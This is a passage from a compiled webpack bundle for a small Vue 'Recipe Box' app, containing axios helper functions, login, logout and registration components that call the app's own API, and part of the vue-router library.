* @returns {boolean} True if the value is undefined, otherwise false
*/
function isUndefined(val) {
return typeof val === 'undefined';
}
/**
* Determine if a value is an Object
*
* @param {Object} val The value to test
* @returns {boolean} True if value is an Object, otherwise false
*/
function isObject(val) {
return val !== null && (typeof val === 'undefined' ? 'undefined' : _typeof(val)) === 'object';
}
/**
* Determine if a value is a Date
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Date, otherwise false
*/
function isDate(val) {
return toString.call(val) === '[object Date]';
}
/**
* Determine if a value is a File
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a File, otherwise false
*/
function isFile(val) {
return toString.call(val) === '[object File]';
}
/**
* Determine if a value is a Blob
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Blob, otherwise false
*/
function isBlob(val) {
return toString.call(val) === '[object Blob]';
}
/**
* Determine if a value is a Function
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Function, otherwise false
*/
function isFunction(val) {
return toString.call(val) === '[object Function]';
}
/**
* Determine if a value is a Stream
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Stream, otherwise false
*/
function isStream(val) {
return isObject(val) && isFunction(val.pipe);
}
/**
* Determine if a value is a URLSearchParams object
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a URLSearchParams object, otherwise false
*/
function isURLSearchParams(val) {
return typeof URLSearchParams !== 'undefined' && val instanceof URLSearchParams;
}
/**
* Trim excess whitespace off the beginning and end of a string
*
* @param {String} str The String to trim
* @returns {String} The String freed of excess whitespace
*/
function trim(str) {
return str.replace(/^\s*/, '').replace(/\s*$/, '');
}
/**
* Determine if we're running in a standard browser environment
*
* This allows axios to run in a web worker, and react-native.
* Both environments support XMLHttpRequest, but not fully standard globals.
*
* web workers:
* typeof window -> undefined
* typeof document -> undefined
*
* react-native:
* typeof document.createElement -> undefined
*/
function isStandardBrowserEnv() {
return typeof window !== 'undefined' && typeof document !== 'undefined' && typeof document.createElement === 'function';
}
/**
* Iterate over an Array or an Object invoking a function for each item.
*
* If `obj` is an Array callback will be called passing
* the value, index, and complete array for each item.
*
* If 'obj' is an Object callback will be called passing
* the value, key, and complete object for each property.
*
* @param {Object|Array} obj The object to iterate
* @param {Function} fn The callback to invoke for each item
*/
function forEach(obj, fn) {
// Don't bother if no value provided
if (obj === null || typeof obj === 'undefined') {
return;
}
// Force an array if not already something iterable
if ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) !== 'object' && !isArray(obj)) {
/*eslint no-param-reassign:0*/
obj = [obj];
}
if (isArray(obj)) {
// Iterate over array values
for (var i = 0, l = obj.length; i < l; i++) {
fn.call(null, obj[i], i, obj);
}
} else {
// Iterate over object keys
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) {
fn.call(null, obj[key], key, obj);
}
}
}
}
/**
* Accepts varargs expecting each argument to be an object, then
* immutably merges the properties of each object and returns result.
*
* When multiple objects contain the same key the later object in
* the arguments list will take precedence.
*
* Example:
*
* ```js
* var result = merge({foo: 123}, {foo: 456});
* console.log(result.foo); // outputs 456
* ```
*
* @param {Object} obj1 Object to merge
* @returns {Object} Result of all merge properties
*/
function merge() /* obj1, obj2, obj3, ... */{
var result = {};
function assignValue(val, key) {
if (_typeof(result[key]) === 'object' && (typeof val === 'undefined' ? 'undefined' : _typeof(val)) === 'object') {
result[key] = merge(result[key], val);
} else {
result[key] = val;
}
}
for (var i = 0, l = arguments.length; i < l; i++) {
forEach(arguments[i], assignValue);
}
return result;
}
/**
* Extends object a by mutably adding to it the properties of object b.
*
* @param {Object} a The object to be extended
* @param {Object} b The object to copy properties from
* @param {Object} thisArg The object to bind function to
* @return {Object} The resulting value of object a
*/
function extend(a, b, thisArg) {
forEach(b, function assignValue(val, key) {
if (thisArg && typeof val === 'function') {
a[key] = bind(val, thisArg);
} else {
a[key] = val;
}
});
return a;
}
module.exports = {
isArray: isArray,
isArrayBuffer: isArrayBuffer,
isFormData: isFormData,
isArrayBufferView: isArrayBufferView,
isString: isString,
isNumber: isNumber,
isObject: isObject,
isUndefined: isUndefined,
isDate: isDate,
isFile: isFile,
isBlob: isBlob,
isFunction: isFunction,
isStream: isStream,
isURLSearchParams: isURLSearchParams,
isStandardBrowserEnv: isStandardBrowserEnv,
forEach: forEach,
merge: merge,
extend: extend,
trim: trim
};
/***/
},
/***/"./node_modules/babel-loader/lib/index.js?{\"cacheDirectory\":true,\"presets\":[[\"env\",{\"modules\":false,\"targets\":{\"browsers\":[\"> 2%\"],\"uglify\":true}}]]}!./node_modules/vue-loader/lib/selector.js?type=script&index=0!./resources/assets/js/App.vue":
/***/function node_modulesBabelLoaderLibIndexJsCacheDirectoryTruePresetsEnvModulesFalseTargetsBrowsers2UglifyTrueNode_modulesVueLoaderLibSelectorJsTypeScriptIndex0ResourcesAssetsJsAppVue(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */var __WEBPACK_IMPORTED_MODULE_0__helpers_flash__ = __webpack_require__("./resources/assets/js/helpers/flash.js");
/* harmony import */var __WEBPACK_IMPORTED_MODULE_1__store_auth__ = __webpack_require__("./resources/assets/js/store/auth.js");
/* harmony import */var __WEBPACK_IMPORTED_MODULE_2__helpers_api__ = __webpack_require__("./resources/assets/js/helpers/api.js");
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
/* harmony default export */__webpack_exports__["default"] = {
created: function created() {
__WEBPACK_IMPORTED_MODULE_1__store_auth__["a" /* default */].initialize();
},
data: function data() {
return {
flash: __WEBPACK_IMPORTED_MODULE_0__helpers_flash__["a" /* default */].state,
auth: __WEBPACK_IMPORTED_MODULE_1__store_auth__["a" /* default */].state
};
},
computed: {
check: function check() {
if (this.auth.api_token && this.auth.user_id) {
return true;
}
return false;
}
},
methods: {
logout: function logout() {
var _this = this;
__WEBPACK_IMPORTED_MODULE_2__helpers_api__["a" /* post */]('/api/logout').then(function (res) {
if (res.data.logout) {
__WEBPACK_IMPORTED_MODULE_1__store_auth__["a" /* default */].remove();
__WEBPACK_IMPORTED_MODULE_0__helpers_flash__["a" /* default */].setSuccess('You have successfully logged out!');
_this.$router.push('/login');
}
}).catch();
}
}
};
/***/
},
/***/"./node_modules/babel-loader/lib/index.js?{\"cacheDirectory\":true,\"presets\":[[\"env\",{\"modules\":false,\"targets\":{\"browsers\":[\"> 2%\"],\"uglify\":true}}]]}!./node_modules/vue-loader/lib/selector.js?type=script&index=0!./resources/assets/js/views/Auth/Login.vue":
/***/function node_modulesBabelLoaderLibIndexJsCacheDirectoryTruePresetsEnvModulesFalseTargetsBrowsers2UglifyTrueNode_modulesVueLoaderLibSelectorJsTypeScriptIndex0ResourcesAssetsJsViewsAuthLoginVue(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */var __WEBPACK_IMPORTED_MODULE_0__helpers_flash__ = __webpack_require__("./resources/assets/js/helpers/flash.js");
/* harmony import */var __WEBPACK_IMPORTED_MODULE_1__helpers_api__ = __webpack_require__("./resources/assets/js/helpers/api.js");
/* harmony import */var __WEBPACK_IMPORTED_MODULE_2__store_auth__ = __webpack_require__("./resources/assets/js/store/auth.js");
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
/* harmony default export */__webpack_exports__["default"] = {
data: function data() {
return {
form: {
email: '',
password: ''
},
error: {},
isProcessing: false
};
},
methods: {
login: function login() {
var _this = this;
this.isProcessing = true;
this.error = {};
__WEBPACK_IMPORTED_MODULE_1__helpers_api__["a" /* post */]('api/login', this.form).then(function (res) {
if (res.data.authenticated) {
__WEBPACK_IMPORTED_MODULE_2__store_auth__["a" /* default */].set(res.data.api_token, res.data.user_id);
__WEBPACK_IMPORTED_MODULE_0__helpers_flash__["a" /* default */].setSuccess('You have logged!');
_this.$router.push('/');
}
_this.isProcessing = false;
}).catch(function (err) {
if (err.response.status === 422) {
_this.error = err.response.data;
}
_this.isProcessing = false;
});
}
}
};
/***/
},
/***/"./node_modules/babel-loader/lib/index.js?{\"cacheDirectory\":true,\"presets\":[[\"env\",{\"modules\":false,\"targets\":{\"browsers\":[\"> 2%\"],\"uglify\":true}}]]}!./node_modules/vue-loader/lib/selector.js?type=script&index=0!./resources/assets/js/views/Auth/Register.vue":
/***/function node_modulesBabelLoaderLibIndexJsCacheDirectoryTruePresetsEnvModulesFalseTargetsBrowsers2UglifyTrueNode_modulesVueLoaderLibSelectorJsTypeScriptIndex0ResourcesAssetsJsViewsAuthRegisterVue(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */var __WEBPACK_IMPORTED_MODULE_0__helpers_flash__ = __webpack_require__("./resources/assets/js/helpers/flash.js");
/* harmony import */var __WEBPACK_IMPORTED_MODULE_1__helpers_api__ = __webpack_require__("./resources/assets/js/helpers/api.js");
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
/* harmony default export */__webpack_exports__["default"] = {
data: function data() {
return {
form: {
name: '',
email: '',
password: '',
password_confirmation: ''
},
error: {},
isProcessing: false
};
},
methods: {
register: function register() {
var _this = this;
this.isProcessing = true;
this.error = {};
__WEBPACK_IMPORTED_MODULE_1__helpers_api__["a" /* post */]('api/register', this.form).then(function (res) {
if (res.data.registered) {
__WEBPACK_IMPORTED_MODULE_0__helpers_flash__["a" /* default */].setSuccess('You have successfully create an Accout!');
_this.$router.push('/login');
}
_this.isProcessing = false;
}).catch(function (err) {
if (err.response.status === 422) {
_this.error = err.response.data;
}
_this.isProcessing = false;
});
}
}
};
/***/
},
/***/"./node_modules/process/browser.js":
/***/function node_modulesProcessBrowserJs(module, exports) {
// shim for using process in browser
var process = module.exports = {};
// cached from whatever global is present so that test runners that stub it
// don't break things. But we need to wrap it in a try catch in case it is
// wrapped in strict mode code which doesn't define any globals. It's inside a
// function because try/catches deoptimize in certain engines.
var cachedSetTimeout;
var cachedClearTimeout;
function defaultSetTimout() {
throw new Error('setTimeout has not been defined');
}
function defaultClearTimeout() {
throw new Error('clearTimeout has not been defined');
}
(function () {
try {
if (typeof setTimeout === 'function') {
cachedSetTimeout = setTimeout;
} else {
cachedSetTimeout = defaultSetTimout;
}
} catch (e) {
cachedSetTimeout = defaultSetTimout;
}
try {
if (typeof clearTimeout === 'function') {
cachedClearTimeout = clearTimeout;
} else {
cachedClearTimeout = defaultClearTimeout;
}
} catch (e) {
cachedClearTimeout = defaultClearTimeout;
}
})();
function runTimeout(fun) {
if (cachedSetTimeout === setTimeout) {
//normal enviroments in sane situations
return setTimeout(fun, 0);
}
// if setTimeout wasn't available but was latter defined
if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) {
cachedSetTimeout = setTimeout;
return setTimeout(fun, 0);
}
try {
// when when somebody has screwed with setTimeout but no I.E. maddness
return cachedSetTimeout(fun, 0);
} catch (e) {
try {
// When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally
return cachedSetTimeout.call(null, fun, 0);
} catch (e) {
// same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error
return cachedSetTimeout.call(this, fun, 0);
}
}
}
function runClearTimeout(marker) {
if (cachedClearTimeout === clearTimeout) {
//normal enviroments in sane situations
return clearTimeout(marker);
}
// if clearTimeout wasn't available but was latter defined
if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) {
cachedClearTimeout = clearTimeout;
return clearTimeout(marker);
}
try {
// when when somebody has screwed with setTimeout but no I.E. maddness
return cachedClearTimeout(marker);
} catch (e) {
try {
// When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally
return cachedClearTimeout.call(null, marker);
} catch (e) {
// same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error.
// Some versions of I.E. have different rules for clearTimeout vs setTimeout
return cachedClearTimeout.call(this, marker);
}
}
}
var queue = [];
var draining = false;
var currentQueue;
var queueIndex = -1;
function cleanUpNextTick() {
if (!draining || !currentQueue) {
return;
}
draining = false;
if (currentQueue.length) {
queue = currentQueue.concat(queue);
} else {
queueIndex = -1;
}
if (queue.length) {
drainQueue();
}
}
function drainQueue() {
if (draining) {
return;
}
var timeout = runTimeout(cleanUpNextTick);
draining = true;
var len = queue.length;
while (len) {
currentQueue = queue;
queue = [];
while (++queueIndex < len) {
if (currentQueue) {
currentQueue[queueIndex].run();
}
}
queueIndex = -1;
len = queue.length;
}
currentQueue = null;
draining = false;
runClearTimeout(timeout);
}
process.nextTick = function (fun) {
var args = new Array(arguments.length - 1);
if (arguments.length > 1) {
for (var i = 1; i < arguments.length; i++) {
args[i - 1] = arguments[i];
}
}
queue.push(new Item(fun, args));
if (queue.length === 1 && !draining) {
runTimeout(drainQueue);
}
};
// v8 likes predictible objects
function Item(fun, array) {
this.fun = fun;
this.array = array;
}
Item.prototype.run = function () {
this.fun.apply(null, this.array);
};
process.title = 'browser';
process.browser = true;
process.env = {};
process.argv = [];
process.version = ''; // empty string to avoid regexp issues
process.versions = {};
function noop() {}
process.on = noop;
process.addListener = noop;
process.once = noop;
process.off = noop;
process.removeListener = noop;
process.removeAllListeners = noop;
process.emit = noop;
process.prependListener = noop;
process.prependOnceListener = noop;
process.listeners = function (name) {
return [];
};
process.binding = function (name) {
throw new Error('process.binding is not supported');
};
process.cwd = function () {
return '/';
};
process.chdir = function (dir) {
throw new Error('process.chdir is not supported');
};
process.umask = function () {
return 0;
};
/***/
},
/***/"./node_modules/vue-loader/lib/component-normalizer.js":
/***/function node_modulesVueLoaderLibComponentNormalizerJs(module, exports) {
// this module is a runtime utility for cleaner component module output and will
// be included in the final webpack user bundle
module.exports = function normalizeComponent(rawScriptExports, compiledTemplate, scopeId, cssModules) {
var esModule;
var scriptExports = rawScriptExports = rawScriptExports || {};
// ES6 modules interop
var type = _typeof(rawScriptExports.default);
if (type === 'object' || type === 'function') {
esModule = rawScriptExports;
scriptExports = rawScriptExports.default;
}
// Vue.extend constructor export interop
var options = typeof scriptExports === 'function' ? scriptExports.options : scriptExports;
// render functions
if (compiledTemplate) {
options.render = compiledTemplate.render;
options.staticRenderFns = compiledTemplate.staticRenderFns;
}
// scopedId
if (scopeId) {
options._scopeId = scopeId;
}
// inject cssModules
if (cssModules) {
var computed = Object.create(options.computed || null);
Object.keys(cssModules).forEach(function (key) {
var module = cssModules[key];
computed[key] = function () {
return module;
};
});
options.computed = computed;
}
return {
esModule: esModule,
exports: scriptExports,
options: options
};
};
/***/
},
/***/"./node_modules/vue-loader/lib/template-compiler/index.js?{\"id\":\"data-v-1d037175\"}!./node_modules/vue-loader/lib/selector.js?type=template&index=0!./resources/assets/js/views/Auth/Register.vue":
/***/function node_modulesVueLoaderLibTemplateCompilerIndexJsIdDataV1d037175Node_modulesVueLoaderLibSelectorJsTypeTemplateIndex0ResourcesAssetsJsViewsAuthRegisterVue(module, exports, __webpack_require__) {
module.exports = { render: function render() {
var _vm = this;var _h = _vm.$createElement;var _c = _vm._self._c || _h;
return _c('form', {
staticClass: "form",
on: {
"submit": function submit($event) {
$event.preventDefault();
_vm.register($event);
}
}
}, [_c('h1', {
staticClass: "form__title"
}, [_vm._v("Create An Accout")]), _vm._v(" "), _c('div', {
staticClass: "form__group"
}, [_c('div', {
staticClass: "form__group"
}, [_c('label', [_vm._v("Name")]), _vm._v(" "), _c('input', {
directives: [{
name: "model",
rawName: "v-model",
value: _vm.form.name,
expression: "form.name"
}],
staticClass: "form__control",
attrs: {
"type": "text"
},
domProps: {
"value": _vm.form.name
},
on: {
"input": function input($event) {
if ($event.target.composing) {
return;
}
_vm.form.name = $event.target.value;
}
}
}), _vm._v(" "), _vm.error.name ? _c('small', {
staticClass: "error__control"
}, [_vm._v(_vm._s(_vm.error.name[0]))]) : _vm._e()]), _vm._v(" "), _c('div', [_c('label', [_vm._v("Email")]), _vm._v(" "), _c('input', {
directives: [{
name: "model",
rawName: "v-model",
value: _vm.form.email,
expression: "form.email"
}],
staticClass: "form__control",
attrs: {
"type": "text"
},
domProps: {
"value": _vm.form.email
},
on: {
"input": function input($event) {
if ($event.target.composing) {
return;
}
_vm.form.email = $event.target.value;
}
}
}), _vm._v(" "), _vm.error.email ? _c('small', {
staticClass: "error__control"
}, [_vm._v(_vm._s(_vm.error.email[0]))]) : _vm._e()]), _vm._v(" "), _c('div', {
staticClass: "form__group"
}, [_c('label', [_vm._v("Password")]), _vm._v(" "), _c('input', {
directives: [{
name: "model",
rawName: "v-model",
value: _vm.form.password,
expression: "form.password"
}],
staticClass: "form__control",
attrs: {
"type": "password"
},
domProps: {
"value": _vm.form.password
},
on: {
"input": function input($event) {
if ($event.target.composing) {
return;
}
_vm.form.password = $event.target.value;
}
}
}), _vm._v(" "), _vm.error.password ? _c('small', {
staticClass: "error__control"
}, [_vm._v(_vm._s(_vm.error.password[0]))]) : _vm._e()]), _vm._v(" "), _c('div', {
staticClass: "form__group"
}, [_c('label', [_vm._v("Confirm Password")]), _vm._v(" "), _c('input', {
directives: [{
name: "model",
rawName: "v-model",
value: _vm.form.password_confirmation,
expression: "form.password_confirmation"
}],
staticClass: "form__control",
attrs: {
"type": "password"
},
domProps: {
"value": _vm.form.password_confirmation
},
on: {
"input": function input($event) {
if ($event.target.composing) {
return;
}
_vm.form.password_confirmation = $event.target.value;
}
}
})]), _vm._v(" "), _c('div', {
staticClass: "form__group"
}, [_c('button', {
staticClass: "btn btn__primary",
attrs: {
"disabled": _vm.isProcessing
}
}, [_vm._v("\n\t\t\t\tRegister\n\t\t\t")])])])]);
}, staticRenderFns: [] };
module.exports.render._withStripped = true;
if (false) {
module.hot.accept();
if (module.hot.data) {
require("vue-hot-reload-api").rerender("data-v-1d037175", module.exports);
}
}
/***/
},
/***/"./node_modules/vue-loader/lib/template-compiler/index.js?{\"id\":\"data-v-290ad3a6\"}!./node_modules/vue-loader/lib/selector.js?type=template&index=0!./resources/assets/js/App.vue":
/***/function node_modulesVueLoaderLibTemplateCompilerIndexJsIdDataV290ad3a6Node_modulesVueLoaderLibSelectorJsTypeTemplateIndex0ResourcesAssetsJsAppVue(module, exports, __webpack_require__) {
module.exports = { render: function render() {
var _vm = this;var _h = _vm.$createElement;var _c = _vm._self._c || _h;
return _c('div', {
staticClass: "container"
}, [_c('div', {
staticClass: "navbar"
}, [_c('div', {
staticClass: "navbar__brand"
}, [_c('router-link', {
attrs: {
"to": "/"
}
}, [_vm._v("Recipe Box")])], 1), _vm._v(" "), _c('ul', {
staticClass: "navbar__list"
}, [_c('li', {
staticClass: "navbar__item"
}, [!_vm.check ? _c('router-link', {
attrs: {
"to": "/login"
}
}, [_vm._v("LOGIN")]) : _vm._e()], 1), _vm._v(" "), _c('li', {
staticClass: "navbar__item"
}, [!_vm.check ? _c('router-link', {
attrs: {
"to": "/register"
}
}, [_vm._v("REGISTER")]) : _vm._e()], 1), _vm._v(" "), _vm.check ? _c('li', {
staticClass: "navbar__item"
}, [_c('a', {
on: {
"click": function click($event) {
$event.stopPropagation();
_vm.logout($event);
}
}
}, [_vm._v("LOGOUT")])]) : _vm._e()])]), _vm._v(" "), _vm.flash.success ? _c('div', {
staticClass: "flash flash__success"
}, [_vm._v("\n " + _vm._s(_vm.flash.success) + "\n ")]) : _vm._e(), _vm._v(" "), _vm.flash.error ? _c('div', {
staticClass: "flash flash__error"
}, [_vm._v("\n " + _vm._s(_vm.flash.error) + "\n ")]) : _vm._e(), _vm._v(" "), _c('router-view')], 1);
}, staticRenderFns: [] };
module.exports.render._withStripped = true;
if (false) {
module.hot.accept();
if (module.hot.data) {
require("vue-hot-reload-api").rerender("data-v-290ad3a6", module.exports);
}
}
/***/
},
/***/"./node_modules/vue-loader/lib/template-compiler/index.js?{\"id\":\"data-v-fc9dd3f2\"}!./node_modules/vue-loader/lib/selector.js?type=template&index=0!./resources/assets/js/views/Auth/Login.vue":
/***/function node_modulesVueLoaderLibTemplateCompilerIndexJsIdDataVFc9dd3f2Node_modulesVueLoaderLibSelectorJsTypeTemplateIndex0ResourcesAssetsJsViewsAuthLoginVue(module, exports, __webpack_require__) {
module.exports = { render: function render() {
var _vm = this;var _h = _vm.$createElement;var _c = _vm._self._c || _h;
return _c('form', {
staticClass: "form",
on: {
"submit": function submit($event) {
$event.preventDefault();
_vm.login($event);
}
}
}, [_c('h1', {
staticClass: "form__title"
}, [_vm._v("Welcome Back")]), _vm._v(" "), _c('div', {
staticClass: "form__group"
}, [_c('div', [_c('label', [_vm._v("Email")]), _vm._v(" "), _c('input', {
directives: [{
name: "model",
rawName: "v-model",
value: _vm.form.email,
expression: "form.email"
}],
staticClass: "form__control",
attrs: {
"type": "text"
},
domProps: {
"value": _vm.form.email
},
on: {
"input": function input($event) {
if ($event.target.composing) {
return;
}
_vm.form.email = $event.target.value;
}
}
}), _vm._v(" "), _vm.error.email ? _c('small', {
staticClass: "error__control"
}, [_vm._v(_vm._s(_vm.error.email[0]))]) : _vm._e()]), _vm._v(" "), _c('div', {
staticClass: "form__group"
}, [_c('label', [_vm._v("Password")]), _vm._v(" "), _c('input', {
directives: [{
name: "model",
rawName: "v-model",
value: _vm.form.password,
expression: "form.password"
}],
staticClass: "form__control",
attrs: {
"type": "password"
},
domProps: {
"value": _vm.form.password
},
on: {
"input": function input($event) {
if ($event.target.composing) {
return;
}
_vm.form.password = $event.target.value;
}
}
}), _vm._v(" "), _vm.error.password ? _c('small', {
staticClass: "error__control"
}, [_vm._v(_vm._s(_vm.error.password[0]))]) : _vm._e()]), _vm._v(" "), _c('div', {
staticClass: "form__group"
}, [_c('button', {
staticClass: "btn btn__primary",
attrs: {
"disabled": _vm.isProcessing
}
}, [_vm._v("\n Submit\n ")])])])]);
}, staticRenderFns: [] };
module.exports.render._withStripped = true;
if (false) {
module.hot.accept();
if (module.hot.data) {
require("vue-hot-reload-api").rerender("data-v-fc9dd3f2", module.exports);
}
}
/***/
},
/***/"./node_modules/vue-router/dist/vue-router.esm.js":
/***/function node_modulesVueRouterDistVueRouterEsmJs(module, __webpack_exports__, __webpack_require__) {
"use strict";
/**
* vue-router v2.6.0
* (c) 2017 Evan You
* @license MIT
*/
/* */
function assert(condition, message) {
if (!condition) {
throw new Error("[vue-router] " + message);
}
}
function warn(condition, message) {
if ("development" !== 'production' && !condition) {
typeof console !== 'undefined' && console.warn("[vue-router] " + message);
}
}
var View = {
name: 'router-view',
functional: true,
props: {
name: {
type: String,
default: 'default'
}
},
render: function render(_, ref) {
var props = ref.props;
var children = ref.children;
var parent = ref.parent;
var data = ref.data;
data.routerView = true;
// directly use parent context's createElement() function
// so that components rendered by router-view can resolve named slots
var h = parent.$createElement;
var name = props.name;
var route = parent.$route;
var cache = parent._routerViewCache || (parent._routerViewCache = {});
// determine current view depth, also check to see if the tree
// has been toggled inactive but kept-alive.
var depth = 0;
var inactive = false;
while (parent && parent._routerRoot !== parent) {
if (parent.$vnode && parent.$vnode.data.routerView) {
depth++;
}
if (parent._inactive) {
inactive = true;
}
parent = parent.$parent;
}
data.routerViewDepth = depth;
// render previous view if the tree is inactive and kept-alive
if (inactive) {
return h(cache[name], data, children);
}
var matched = route.matched[depth];
// render empty node if no matched route
if (!matched) {
cache[name] = null;
return h();
}
var component = cache[name] = matched.components[name];
// attach instance registration hook
// this will be called in the instance's injected lifecycle hooks
data.registerRouteInstance = function (vm, val) {
// val could be undefined for unregistration
var current = matched.instances[name];
if (val && current !== vm || !val && current === vm) {
matched.instances[name] = val;
}
}
// also regiseter instance in prepatch hook
// in case the same component instance is reused across different routes
;(data.hook || (data.hook = {})).prepatch = function (_, vnode) {
matched.instances[name] = vnode.componentInstance;
};
// resolve props
data.props = resolveProps(route, matched.props && matched.props[name]);
return h(component, data, children);
}
};
function resolveProps(route, config) {
switch (typeof config === 'undefined' ? 'undefined' : _typeof(config)) {
case 'undefined':
return;
case 'object':
return config;
case 'function':
return config(route);
case 'boolean':
return config ? route.params : undefined;
default:
if (true) {
warn(false, "props in \"" + route.path + "\" is a " + (typeof config === 'undefined' ? 'undefined' : _typeof(config)) + ", " + "expecting an object, function or boolean.");
}
}
}
/* */
var encodeReserveRE = /[!'()*]/g;
var encodeReserveReplacer = function encodeReserveReplacer(c) {
return '%' + c.charCodeAt(0).toString(16);
};
var commaRE = /%2C/g;
// fixed encodeURIComponent which is more conformant to RFC3986:
// - escapes [!'()*]
// - preserve commas
var encode = function encode(str) {
return encodeURIComponent(str).replace(encodeReserveRE, encodeReserveReplacer).replace(commaRE, ',');
};
var decode = decodeURIComponent;
function resolveQuery(query, extraQuery, _parseQuery) {
if (extraQuery === void 0) extraQuery = {};
var parse = _parseQuery || parseQuery;
var parsedQuery;
try {
parsedQuery = parse(query || '');
} catch (e) {
"development" !== 'production' && warn(false, e.message);
parsedQuery = {};
}
for (var key in extraQuery) {
var val = extraQuery[key];
parsedQuery[key] = Array.isArray(val) ? val.slice() : val;
}
return parsedQuery;
}
function parseQuery(query) {
var res = {};
query = query.trim().replace(/^(\?|#|&)/, '');
if (!query) {
return res;
}
query.split('&').forEach(function (param) {
var parts = param.replace(/\+/g, ' ').split('=');
var key = decode(parts.shift());
var val = parts.length > 0 ? decode(parts.join('=')) : null;
if (res[key] === undefined) {
res[key] = val;
} else if (Array.isArray(res[key])) {
res[key].push(val);
} else {
res[key] = [res[key], val];
}
});
return res;
}
function stringifyQuery(obj) {
var res = obj ? Object.keys(obj).map(function (key) {
var val = obj[key];
if (val === undefined) {
return '';
}
if (val === null) {
return encode(key);
}
if (Array.isArray(val)) {
var result = [];
val.forEach(function (val2) {
if (val2 === undefined) {
return;
}
if (val2 === null) {
result.push(encode(key));
} else {
result.push(encode(key) + '=' + encode(val2));
}
});
return result.join('&');
}
return encode(key) + '=' + encode(val);
}).filter(function (x) {
return x.length > 0;
}).join('&') : null;
return res ? "?" + res : '';
}
/* */
var trailingSlashRE = /\/?$/;
function createRoute(record, location, redirectedFrom, router) {
var stringifyQuery$$1 = router && router.options.stringifyQuery;
var route = {
name: location.name || record && record.name,
meta: record && record.meta || {},
path: location.path || '/',
hash: location.hash || '',
query: location.query || {},
params: location.params || {},
fullPath: getFullPath(location, stringifyQuery$$1),
matched: record ? formatMatch(record) : []
};
if (redirectedFrom) {
route.redirectedFrom = getFullPath(redirectedFrom, stringifyQuery$$1);
}
return Object.freeze(route);
}
// the starting route that represents the initial state
var START = createRoute(null, {
path: '/'
});
function formatMatch(record) {
var res = [];
while (record) {
res.unshift(record);
record = record.parent;
}
return res;
}
function getFullPath(ref, _stringifyQuery) {
var path = ref.path;
var query = ref.query;if (query === void 0) query = {};
var hash = ref.hash;if (hash === void 0) hash = '';
var stringify = _stringifyQuery || stringifyQuery;
return (path || '/') + stringify(query) + hash;
}
function isSameRoute(a, b) {
if (b === START) {
return a === b;
} else if (!b) {
return false;
} else if (a.path && b.path) {
return a.path.replace(trailingSlashRE, '') === b.path.replace(trailingSlashRE, '') && a.hash === b.hash && isObjectEqual(a.query, b.query);
} else if (a.name && b.name) {
return a.name === b.name && a.hash === b.hash && isObjectEqual(a.query, b.query) && isObjectEqual(a.params, b.params);
} else {
return false;
}
}
function isObjectEqual(a, b) {
if (a === void 0) a = {};
if (b === void 0) b = {};
var aKeys = Object.keys(a);
var bKeys = Object.keys(b);
if (aKeys.length !== bKeys.length) {
return false;
}
return aKeys.every(function (key) {
var aVal = a[key];
var bVal = b[key];
// check nested equality
if ((typeof aVal === 'undefined' ? 'undefined' : _typeof(aVal)) === 'object' && (typeof bVal === 'undefined' ? 'undefined' : _typeof(bVal)) === 'object') {
return isObjectEqual(aVal, bVal);
}
return String(aVal) === String(bVal);
});
}
function isIncludedRoute(current, target) {
return current.path.replace(trailingSlashRE, '/').indexOf(target.path.replace(trailingSlashRE, '/')) === 0 && (!target.hash || current.hash === target.hash) && queryIncludes(current.query, target.query);
}
function queryIncludes(current, target) {
for (var key in target) {
if (!(key in current)) {
return false;
}
}
return true;
}
/* */
// work around weird flow bug
var toTypes = [String, Object];
var eventTypes = [String, Array];
var Link = {
name: 'router-link',
props: {
to: {
type: toTypes,
required: true
},
tag: {
type: String,
default: 'a'
},
exact: Boolean,
append: Boolean,
replace: Boolean,
activeClass: String,
exactActiveClass: String,
event: {
type: eventTypes,
default: 'click'
}
},
render: function render(h) {
var this$1 = this;
var router = this.$router;
var current = this.$route;
var ref = router.resolve(this.to, current, this.append);
var location = ref.location;
var route = ref.route;
var href = ref.href;
var classes = {};
var globalActiveClass = router.options.linkActiveClass;
var globalExactActiveClass = router.options.linkExactActiveClass;
// Support global empty active class
var activeClassFallback = globalActiveClass == null ? 'router-link-active' : globalActiveClass;
var exactActiveClassFallback = globalExactActiveClass == null ? 'router-link-exact-active' : globalExactActiveClass;
var activeClass = this.activeClass == null ? activeClassFallback : this.activeClass;
var exactActiveClass = this.exactActiveClass == null ? exactActiveClassFallback : this.exactActiveClass;
var compareTarget = location.path ? createRoute(null, location, null, router) : route;
classes[exactActiveClass] = isSameRoute(current, compareTarget);
classes[activeClass] = this.exact ? classes[exactActiveClass] : isIncludedRoute(current, compareTarget);
var handler = function handler(e) {
if (guardEvent(e)) {
if (this$1.replace) {
router.replace(location);
} else {
router.push(location);
}
}
};
var on = { click: guardEvent };
if (Array.isArray(this.event)) {
this.event.forEach(function (e) {
on[e] = handler;
});
} else {
on[this.event] = handler;
}
var data = {
class: classes
};
if (this.tag === 'a') {
data.on = on;
data.attrs = { href: href };
} else {
// find the first <a> child and apply listener and href
var a = findAnchor(this.$slots.default);
if (a) {
// in case the <a> is a static node
a.isStatic = false;
